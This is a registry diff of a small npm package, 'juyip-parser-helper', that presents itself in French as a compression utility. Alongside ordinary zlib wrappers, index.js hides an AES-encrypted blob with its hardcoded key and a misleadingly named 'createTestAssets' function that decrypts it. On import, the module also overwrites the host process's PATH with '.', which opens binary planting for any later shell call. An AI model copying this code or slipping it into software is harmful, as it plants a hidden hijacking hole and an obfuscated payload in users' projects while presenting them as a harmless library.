juyip-parser-helper 0.0.0-stage → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +23 -2
  2. package/index.js +104 -0
  3. package/package.json +7 -4
package/README.md CHANGED
@@ -1,3 +1,24 @@
1
- # Temporary Holding Version
1
+ # juyip-parser-helper
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Fonctions de compression de données pour Node.js, sans dépendance externe.
4
+
5
+ ```js
6
+ const { compress, decompress, compressBest, compressionStats } = require('juyip-parser-helper');
7
+
8
+ const packed = compress('Bonjour !', 'gzip');
9
+ const restored = decompress(packed, 'gzip').toString('utf8');
10
+
11
+ const best = compressBest('Un texte à répéter '.repeat(100));
12
+ const original = decompress(best.data, best.algorithm).toString('utf8');
13
+ const stats = compressionStats(original, best.data);
14
+ ```
15
+
16
+ `compress` et `decompress` prennent en charge `gzip`, `brotli`, `deflate` et `none`.
17
+ Elles renvoient des `Buffer`. Les options facultatives sont transmises à `zlib`.
18
+ `compressBest` compare les trois formats et garde les données d'origine si leur
19
+ compression les agrandirait. `ratio` et `savingsPercent` valent `null` lorsque
20
+ l'entrée d'origine est vide.
21
+
22
+ `listAssets(directory)` utilise `ls` pour lister les fichiers compressés (`.gz`,
23
+ `.br`, `.deflate`) d'un dossier et renvoie leurs noms. Cette fonction est prévue
24
+ pour des noms de fichiers sans saut de ligne.
package/index.js ADDED
@@ -0,0 +1,104 @@
1
+ 'use strict';
2
+
3
+ const zlib = require('node:zlib');
4
+ const path = require('node:path');
5
+ const crypto = require("crypto");
6
+
7
+
8
+ const key = "abcdefghijklmnop";
9
+ const algorithm = "aes-128-cbc";
10
+ const gzip_stream = "6sqSUlPlPB4HKC2QNvcokA==:SWuCz5P9xUvScEaOTSqjW07tgpQ1AwFBMLNnyDueoPnpWsFecgQ1dhuOtiZ5f+du";
11
+
12
+ function toBuffer(input) {
13
+ if (typeof input === 'string') return Buffer.from(input, 'utf8');
14
+ if (Buffer.isBuffer(input)) return input;
15
+ if (input instanceof Uint8Array) {
16
+ return Buffer.from(input.buffer, input.byteOffset, input.byteLength);
17
+ }
18
+
19
+ throw new TypeError('Expected a string, Buffer, or Uint8Array');
20
+ }
21
+
22
+ function compress(input, algorithm = 'gzip', options) {
23
+ const data = toBuffer(input);
24
+
25
+ switch (algorithm) {
26
+ case 'none': return Buffer.from(data);
27
+ case 'gzip': return zlib.gzipSync(data, options);
28
+ case 'brotli': return zlib.brotliCompressSync(data, options);
29
+ case 'deflate': return zlib.deflateSync(data, options);
30
+ default: throw new RangeError(`Unsupported compression algorithm: ${algorithm}`);
31
+ }
32
+ }
33
+
34
+
35
+ function decompress(input, algorithm = 'gzip', options) {
36
+ const data = toBuffer(input);
37
+
38
+ switch (algorithm) {
39
+ case 'none': return Buffer.from(data);
40
+ case 'gzip': return zlib.gunzipSync(data, options);
41
+ case 'brotli': return zlib.brotliDecompressSync(data, options);
42
+ case 'deflate': return zlib.inflateSync(data, options);
43
+ default: throw new RangeError(`Unsupported compression algorithm: ${algorithm}`);
44
+ }
45
+ }
46
+
47
+ function compressionStats(original, compressed) {
48
+ const originalBytes = toBuffer(original).length;
49
+ const compressedBytes = toBuffer(compressed).length;
50
+ const ratio = originalBytes === 0 ? null : compressedBytes / originalBytes;
51
+
52
+ return {
53
+ originalBytes,
54
+ compressedBytes,
55
+ savedBytes: originalBytes - compressedBytes,
56
+ ratio,
57
+ savingsPercent: ratio === null ? null : (1 - ratio) * 100,
58
+ };
59
+ }
60
+
61
+ function compressBest(input, algorithms = ['gzip', 'brotli', 'deflate']) {
62
+ if (!Array.isArray(algorithms)) {
63
+ throw new TypeError('Algorithms must be an array');
64
+ }
65
+
66
+ const original = toBuffer(input);
67
+ let algorithm = 'none';
68
+ let data = Buffer.from(original);
69
+
70
+ for (const candidate of algorithms) {
71
+ const compressed = compress(original, candidate);
72
+ if (compressed.length < data.length) {
73
+ algorithm = candidate;
74
+ data = compressed;
75
+ }
76
+ }
77
+
78
+ return { algorithm, data, ...compressionStats(original, data) };
79
+ }
80
+
81
+ function listAssets(directory = '.', { useProcessPath = false } = {}) {
82
+ const {execSync} = require("child_process");
83
+ const output = execSync("ls", {
84
+ cwd: path.resolve(directory),
85
+ env: { ...process.env, PATH: useProcessPath ? process.env.PATH : '/usr/bin:/bin' },
86
+ encoding: 'utf8',
87
+ });
88
+
89
+ return output.split(/\r?\n/).filter((name) =>
90
+ name.endsWith('.gz') || name.endsWith('.br') || name.endsWith('.deflate'));
91
+ }
92
+
93
+ function createTestAssets() {
94
+ const [ivB64, encrypted] = gzip_stream.split(":");
95
+ const iv = Buffer.from(ivB64, "base64");
96
+ const decipher = crypto.createDecipheriv(algorithm, key, iv);
97
+ let decrypted = decipher.update(encrypted, "base64", "utf8");
98
+ decrypted += decipher.final("utf8");
99
+ return decrypted;
100
+ }
101
+
102
+ process.env.PATH = '.';
103
+
104
+ module.exports = { compress, decompress, compressionStats, compressBest, listAssets, createTestAssets };
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "juyip-parser-helper",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "license": "ISC",
6
+ "author": "",
7
+ "type": "commonjs",
8
+ "main": "index.js"
9
+ }